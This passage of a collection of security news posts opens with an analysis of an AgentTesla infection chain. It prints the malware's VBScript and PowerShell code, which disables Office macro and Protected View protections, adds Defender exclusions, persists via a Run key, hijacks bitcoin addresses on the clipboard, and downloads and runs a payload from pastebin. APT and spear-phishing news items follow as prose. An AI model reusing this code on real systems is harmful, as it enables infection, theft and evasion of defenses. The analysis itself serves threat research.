“HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”

Code Snippet 5

As seen in the code a powershell command is hidden inside the variable named $cici, which is immediately converted from the decimal to the relative ascii value. 

$userPath = $env:USERPROFILE$pathExclusions = New-Object System.Collections.ArrayList$processExclusions = New-Object System.Collections.ArrayList$pathExclusions.Add(‘C:\’) > $null$processExclusions.Add(‘Msbuild.exe’) > $null$processExclusions.Add(‘Calc.exe’) > $null$processExclusions.Add(‘powershell.exe’) > $null$processExclusions.Add(‘wscript.exe’) > $null$processExclusions.Add(‘mshta.exe’) > $null$processExclusions.Add(‘cmd.exe’) > $null$projectsFolder = ‘d:\’Add-MpPreference -ExclusionPath $projectsFolderforeach ($exclusion in $pathExclusions){    Write-Host “Adding Path Exclusion: ” $exclusion    Add-MpPreference -ExclusionPath $exclusion}foreach ($exclusion in $processExclusions){    Write-Host “Adding Process Exclusion: ” $exclusion    Add-MpPreference -ExclusionProcess $exclusion}Write-Host “”Write-Host “Your Exclusions:”$prefs = Get-MpPreference$prefs.ExclusionPath$prefs.ExclusionProcess

Code snippet 6

In Code Snippet 6 we found a powershell code instructed to insert in the Microsoft Windows Anti-Malware exclusions the following processes: msbuild, calc, powershell, wscript, mshta and cmd.

Another script in this intricated chain is YL0je2fU:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>
CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).mogale)|IEX””””, 0 : window.close””)”, “REG_SZ”

CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\mogale”, “$cici=@(102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe ((gp HKCU:\Software).mogale)|IEX”, null, objConfig, intProcessID)

Code Snippet 7

Even in this case there is a powershell script embedded in it using the same variable name “$cici”, but with the following body:

function isBitcoinAddress([string]$clipboardContent){ if($clipboardContent[0] -ne ‘1’) { return $false }
$strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) { return $false }
$validRegex = ‘^[a-zA-Z0-9\s]+$’ if($clipboardContent -cnotmatch $validRegex) { return $false }
return $true}$bitcoinAddresses = (“19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”)$bitcoinAddressesSize = $bitcoinAddresses.length$i = 0$oldAddressSet = “”while(1){ $clipboardContent = Get-Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent -cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet = $bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize }}

Code Snippet 8

The script performs a constant check in the clipboard of the victim machine, looking for bitcoin addresses and some of them are also hardcoded. The last stage is UyFaSxgj:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/eyGv9x4B’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)

Code Snippet 9

This component spawn through powershell a script a binary file from a pastebin, eyGv9x4B, but, unfortunately, at the time of analysis, the paste has been removed.

This example could suggest to us the power of the malicious infrastructure built from the attacker, where  components could be removed or replaced with another one in every moment.

The Payload

As previously stated, the final payload is AgentTesla. It remains one of the most adopted commodity malware instructed to steal a large number of sensitive information about the victim. During the past years, we constantly studied the evolution of this threat and we enumerated all the sensitive data grasped by it. 

However, also in this case, we obtained the final payload and the configuration of the SMTP client where sends the stolen information:

Figure 13: Configuration of the AgentTesla SMTP client

The domain “” has been created ad-hoc in order to manage the infection campaign. Studying the uptime of the domain we were able to reconstruct the infection campaign of the threat actor.

Figure 14: Information about the C2 uptime stats

As shown above, the domain has been registered on the last days of january and it has been active since the middle of April. After a short period of inactivity, it compared another time the 2nd of May since these days.


The actor hiding behind this campaign can undoubtedly be considered a persistent cyber-threat to many organizations operating in production sectors in Europe and, in the last months, also in Italy. Its intricate infection chain developed and tested during the years gave him the flexibility needed to bypass many layers of traditional security defences, manipulating the delivery infrastructure from time to time.

During the time, the actor’s delivery infrastructure was leveraged to install different kinds of malware: most of the time remote access trojans and info and credential stealing software. Such malware types are capable of enabling cyber-espionage and IP theft operations, potentially to re-sell stolen information on dark markets.

No doubt, we will keep going to track this threat.

Additional details, including IoCs and Yara rules are available here:

Pierluigi Paganini

(SecurityAffairs – Italian manufacturing, hacking)

The post Cyber-Criminal espionage Operation insists on Italian Manufacturing appeared first on Security Affairs.

Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia

Cybersecurity researchers uncovered an Iranian cyber espionage campaign conducted by Chafer APT and aimed at critical infrastructures in Kuwait and Saudi Arabia.

Cybersecurity researchers from Bitdefender published a detailed report on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.

The cyber espionage campaigns were carried out by Iran-linked Chafer APT (also known as APT39 or Remix Kitten).

The Chafer APT group has distributed data stealer malware since at least mid-2014, it was focused on surveillance operations and the tracking of individuals.

The APT group targets telecommunication and travel industries in the Middle East to gather intelligence on Iran’s geopolitical interests.

“Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,” reads the researcher paper published by the experts.

“Some traces indicate that the goal of the attack was data exploration and exfiltration (on some of the victim’s tools such as Navicat, Winscp, found in an unusual location, namely “%WINDOWS%\ime\en-us-ime”, or
SmartFtpPasswordDecryptor were present on their systems).”

The attackers used several tools, including ‘living off the land’ tools, making it hard to attribute the attack to specific threat actors, as well as a custom-built backdoor.

The attacks against entities in Kuwait and Saudi Arabia have multiple similarities and shares some common stages, but experts noticed that the attacks seem more focused and sophisticated on victims from Kuwait.

Chafer APT launched spear-phishing attacks, the messages were used to deliver multiple backdoors that allowed them to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.

“Once the victims were compromised, attackers started to bring reconnaissance tools for network scanning (“xnet.exe”, “shareo.exe”) and credential gathering (as “mnl.exe” or “mimi32.exe”) or tools with multiple functionalities, such as CrackMapExec (for users’ enumeration, share listing, credentials harvesting and so on).” continues the report.

“During our investigation, on some of the compromised stations we observed some unusual behavior performed under a certain user account, leading us to believe the attackers managed to create a user account on the victims’ machine and performed several malicious actions inside the network, using that account.”

The attacks against entities in Kuwait appeared more sophisticated, attackers were creating a user account on the compromised machines and performed malicious actions inside the network, including credential harvesting with Mimikatz and lateral movements using multiple hacking tools from their arsenal.

Most of the hacking activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East.

The campaign against a Saudi Arabian entity was characterized by the large use of social engineering attacks to trick the victim into executing a remote administration tool (RAT), The RAT employed in the attacks shares similarities with those used against Kuwait and Turkey.

“The case investigated in Saudi Arabia was not as elaborate, either because the attackers did not manage to further exploit the victim, or because the reconnaissance revealed no information of interest.” continues the report.

“While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it. Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines.”

The campaigns against Kuwait and Saudi Arabia demonstrate the intense cyberespionage activity carried out by Iran-linked APT groups in the Middle East. Anyway we cannot underestimate that these hacking groups are extending their range of action targeting government and organizations worldwide.

Pierluigi Paganini

(SecurityAffairs – Chafer APT, hacking)

The post Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia appeared first on Security Affairs.

Israel is suspected to be behind the cyberattack on Iranian port

Israel is likely behind the recent cyberattack which disrupted some operations at Iran’s Shahid Rajaei Port, located near the Strait of Hormuz.

A couple of weeks ago, Iranian officials announced that hackers damaged a small number of systems at the port of Shahid Rajaei in the city of Bandar Abbas.

Bandar Abbas is the capital of Hormozgān Province on the southern coast of Iran, on the Persian Gulf. The city occupies a strategic position on the narrow Strait of Hormuz, and it is the location of the main base of the Iranian Navy. Bandar Abbas is also the capital and largest city of Bandar Abbas County.

Iranian officials did not reveal details of the cyber attack that took place on May 9, two days before Iranian officials disclosed the incident.

Local authorities, including the Ports and Maritime Organization (PMO) in the state of Hormozgan, confirmed that operations at the port were impacted by the cyber attack.

Initially, officials denied the cyber-attack, but due to media pressure that later admitted the cyber intrusion.

The authorities did not attribute the attack to a specific threat actor, Iran’s Deputy Minister of Roads and Urban Development stated that he did not have any information about the origin of the attack.

“Currently, the distribution of cargo in northern ports is good; although the performance of all southern ports is negative.” Mohammad Rastad.

Rastad told Fars News Agency that the attack was carried out by a foreign governenment.

Now a foreign government security official said the attack was “highly accurate” and the damages caused to the Iranian infrastructure were greater than described in official Iranian accounts.

The news was reported by The Washington Post, which blamed Israel for the cyber attack that was launched in retaliation for an earlier cyberattack on rural water distribution systems in Israel.

In April, the Israeli government has issued an alert to organizations in the water sector following a series of cyberattacks that targeted the water facilities.

Earlier May, Israel’s security cabinet discussed alleged Iranian cyberattack on Israeli water and sewage facilities that fortunately did not cause serious damage. The attack demonstrates an escalation by the Iranians, because they targeted civilian infrastructure.

“This was a very unordinary cyberattack against civilian water facilities which is against every ethic and every code even in times of war,” a senior Israeli official told Channel 13. “We didn’t expect this even from the Iranians. It is just not done.”Iran reported three cyberattacks within one week back in December. At least one of the attacks was allegedly “state-sponsored.”

Israel’s National Cyber Directorate announced to have received reports of cyber attacks aimed at supervisory control and data acquisition (SCADA) systems at wastewater treatment plants, pumping stations and sewage facilities.

The recent attack could be a response of the Israeli cyber army against the wave of attacks that targeted Israely water sector.

“Israel appears to be behind a cyberattack earlier this month on computers at Iran’s Shahid Rajaee port that caused massive backups on waterways and roads leading to the facility, the Washington Post reported on Monday.” reads the report published by the Reuters.

“Citing unnamed U.S. and foreign government officials, the Post said the May 9 disruption of Iranian computers was presumably in retaliation for an earlier attempted cyberattack on rural water distribution systems in Israel.”

The Reuters agency contacted the Israeli Embassy in Washington for a comment by it has yet to respond.

In December 2019, Iran foiled two massive cyber-attacks in less than a week, the country’s telecommunications minister Mohammad Javad Azari-Jahromi revealed.

The news was reported by both the ISNA and Mehr news agencies, the Iranian minister defined the attacks as “really massive” and attributed them to a nation-state actor.

Pierluigi Paganini

(SecurityAffairs – Iran, hacking)

The post Israel is suspected to be behind the cyberattack on Iranian port appeared first on Security Affairs.

Hackers Target Oil Producers During COVID-19 Slump

Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers.

Spear-phishing is a rapidly emerging threat. It’s more specific than generic phishing attempts and often targets a single person or company. Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers. 

Cybercriminals Capitalizing on the Chaos

The coronavirus is forcing companies in most industries to operate substantially differently. Many may find it takes time to adjust to the changes. Others do not immediately have the resources for a major shift, such as having all employees work remotely. 

A related concern is that COVID-19 is both a new and anxiety-inducing issue. People want to learn as much as they can about it, and their haste may result in them clicking on links without thinking. Cybercriminals view these conditions as ideal for orchestrating their attacks. Data from Barracuda cybersecurity researchers identified a 667% increase in spear-phishing attacks between the end of February and the following month. 

Real-Life Examples of Spear-Phishing Attacks in the Energy Production Sector

The threat of spear-phishing for energy companies is, unfortunately, not a theoretical one. Coverage published in late April by Bitdefender illuminated a carefully executed attack. The research team found evidence of a campaign occurring March 31, whereby hackers impersonated a well-known engineering company with experience in on- and off-shore energy projects. 

The messages — which did not include many of the telltale signs of phishing like spelling and grammatical errors — asked recipients to submit equipment and materials bids for the Rosetta Sharing Facilities Project. Participants would do so on behalf of Burullus, a gas joint venture partially owned by another Egyptian state oil brand. 

The emails also contained two attachments, which were supposedly bid-related forms. Downloading them infected a user’s system with a type of trojan spyware not previously seen in other utilities industry cyberattacks. The effort targeted oil companies all over the world, from Malaysia to South Africa, in a single day. 

